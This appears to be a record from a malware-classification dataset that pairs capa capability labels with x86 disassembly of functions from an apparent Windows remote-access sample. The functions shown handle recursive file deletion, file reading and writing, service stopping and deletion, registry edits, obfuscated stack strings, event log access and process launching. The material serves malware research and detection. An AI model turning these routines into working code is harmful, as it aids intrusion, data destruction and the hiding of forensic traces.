joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000270e
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
mov edi, 0x100162d0
mov dword [ebp - 8], ecx
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x100162cc
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
mov esi, dword [ebp - 8]
add esp, 0x1c
mov eax, 0x2800
and dword [esi + 0x1c], 0
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x24c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100027b2
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x68
call fcn.10007376
jmp 0x100028b3
push 1
mov byte [edi], 0x68
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffdf8
cmp esi, eax
jbe 0x100027d9
add dword [ebp - 4], 0x208
push 0x42
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edi, eax
lea eax, [ebp - 0x11c]
push 0x100162c8
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x1000287d
lea eax, [ebp - 0x11c]
push 0x100162c4
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x1000287d
mov al, byte [ebp - 0x148]
and al, 0x10
mov byte [esi + edi], al
lea eax, [ebp - 0x11c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esi, ebx
lea eax, [ebp - 0x12c]
push 4
push eax
and byte [esi + edi], 0
inc esi
lea ebx, [esi + edi]
push ebx
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x128]
push 4
add ebx, 4
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esi, 8
lea eax, [ebp - 0x134]
push 8
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
add esi, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100027b8
mov ecx, dword [ebp - 8]
push esi
push edi
call fcn.10007376
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10002abf
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
mov edi, 0x100162d0
mov dword [ebp - 4], ecx
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x100162cc
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x450]
push ebx
push eax
call esi
add esp, 0x28
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10002b35
xor al, al
jmp 0x10002bb4
mov edi, 0x100161cc
cmp byte [ebp - 0x118], 0x2e
je 0x10002b8d
test byte [ebp - 0x144], 0x10
lea eax, [ebp - 0x118]
push eax
push dword [ebp + 8]
push edi
je 0x10002b74
lea eax, [ebp - 0x248]
push eax
call esi
mov ecx, dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.10002abf
jmp 0x10002b8d
lea eax, [ebp - 0x34c]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x144]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002b3a
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [0x10018eec]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10002bbb
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x20]
push 0x104
push edi
push esi
mov dword [ebp - 0xc], ecx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push bind
push dword [ebp + 8]
call dword [0x10018ef0]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002c07
xor eax, eax
jmp 0x10002c7f
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
push esi
call fcn.10007376
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10002c85
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x10002ca4
call fcn.10002d48
xor eax, eax
jmp 0x10002d41
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push bind
push ecx
call dword [0x10018ef0]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10002d41
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x10002d2f
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.10007376
mov dword [ebp - 4], eax
jmp 0x10002d37
mov ecx, dword [ebp - 4]
call fcn.10002d48
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10002e48
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x10011e65
call fcn.10011ae4
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x26c]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x10016334
jne 0x10002e91
mov dword [ebp - 0x10], 0x10018ee4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push dword [ebp - 0x10]
lea eax, [ebp - 0x26c]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x10002ede
xor al, al
jmp 0x10002fc7
push edi
mov edi, str._s_s_s
cmp byte [ebp - 0x13c], 0x2e
je 0x10002fa3
test byte [ebp - 0x168], 0x10
je 0x10002f33
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x370]
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x370]
mov ecx, ebx
push eax
call fcn.10002e48
jmp 0x10002fa3
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x474]
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x474]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033c3
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002ee4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x100031c1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
mov dword [ebp + 8], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0x80
push 3
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [0x10018ef0]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
push 9
push eax
mov ecx, edi
call fcn.10007376
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1000352e
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013358
push 0x10011b5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x934
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [0x10018ef4]
mov dword [ebp - 0x13c], eax
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp dword [ebp - 0x13c], edi
jne 0x1000359f
cmp esi, edi
je 0x1000366b
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x1000366b
cmp dword [ebp - 0x134], 1
je 0x100035e1
lea eax, [ebp - 0x138]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1000366b
push 0x320
call dword [0x10018ef8]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x400
push edi
lea eax, [ebp - 0x53c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100163b4
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.YSTEMCurrentControlSetServices_
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
lea eax, [ebp - 0x940]
push eax
push str._s_s
lea eax, [ebp - 0x53c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push str.SHDeleteKeyA
push str.SHLWAPI.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x944], eax
lea ecx, [ebp - 0x53c]
push ecx
push reloc.WS2_32.dll_bind
call eax
or dword [ebp - 4], 0xffffffff
call fcn.1000368b
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100037e6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push str.CreateFileA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x108]
push 0x104
push eax
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push bind
push eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10003845
xor eax, eax
jmp 0x10003899
push 2
push edi
push 0xfffffc00
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 8], eax
lea ecx, [ebp - 4]
push edi
push ecx
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push esi
call fcn.10003797
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10003897
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x10003841
add eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000389e
Capabilities:
Set registry value

Disassembly:
mov eax, 0x10011e88
call fcn.10011ae4
sub esp, 0x604
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
lea eax, [ebp - 0x610]
mov dword [ebp - 0x10], esp
push 0x100163b4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x610]
push str.YSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x610]
push 0x1f4
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x210]
push eax
push reloc.WS2_32.dll_bind
call dword [0x10018f00]
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push str.epyT
mov dword [ebp - 0x18], 0x120
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x10003deb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push str.CreateProcessA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2f
mov ebx, eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x10003e2d
push esi
push dword [ebp + 8]
call fcn.1000b54c
pop ecx
test al, al
pop ecx
jne 0x10003e34
xor al, al
jmp 0x10003eb5
push edi
xor eax, eax
lea edi, [ebp - 0xf]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x57
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push str.DJX_Update
push esi
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], dl
mov dword [ebp - 0x64], 0x44
call ebx
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ebx
leave
ret
Function at 0x10003eb9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x57c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.lstrcpyA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateProcessA
push str.kernel32.dll
mov dword [ebp - 0x20], eax
call esi
push eax
call edi
mov ebx, str.ADVAPI32.dll
push str.RegQueryValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
push str.RegCloseKey
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
push dword [ebp + 8]
mov esi, eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10004057
lea eax, [ebp - 0x57c]
push 0x1001693c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x57c]
push str.pplicationsiexplore.exe_shellopencommand
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, 0x104
xor ebx, ebx
mov dword [ebp - 0x1c], eax
push eax
lea eax, [ebp - 0x17c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x57c]
push ebx
push eax
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004057
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x17c]
push eax
push ebx
push dword [ebp - 0x14]
call dword [ebp - 0x24]
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10004057
lea eax, [ebp - 0x17c]
push 0x100162e4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x10004057
push dword [ebp + 8]
push eax
call dword [ebp - 0x20]
xor eax, eax
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x74]
mov byte [ebp - 0x10], 0x57
rep stosd dword es:[edi], eax
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], bl
mov dword [ebp - 0x78], 0x44
je 0x1000403e
lea eax, [ebp - 0x10]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x17c]
push ebx
push eax
push ebx
call dword [ebp - 0x18]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x1000405e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.OpenEventLogA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CloseEventLog
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x34], eax
xor ebx, ebx
lea eax, [ebp - 0x14]
mov byte [ebp - 0x2c], 0x41
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x75
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x79
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6d
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x30], eax
lea esi, [ebp - 0x38]
mov dword [ebp - 4], 3
push dword [esi]
push ebx
call dword [ebp - 8]
mov edi, eax
cmp edi, ebx
je 0x10004138
push ebx
push edi
call fcn.1000397f
pop ecx
pop ecx
push edi
call dword [ebp - 0xc]
add esi, 4
dec dword [ebp - 4]
jne 0x1000411f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100041e6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push str.RegCloseKey
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000424a
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000424a
push dword [ebp - 4]
call edi
pop edi
pop esi
leave
ret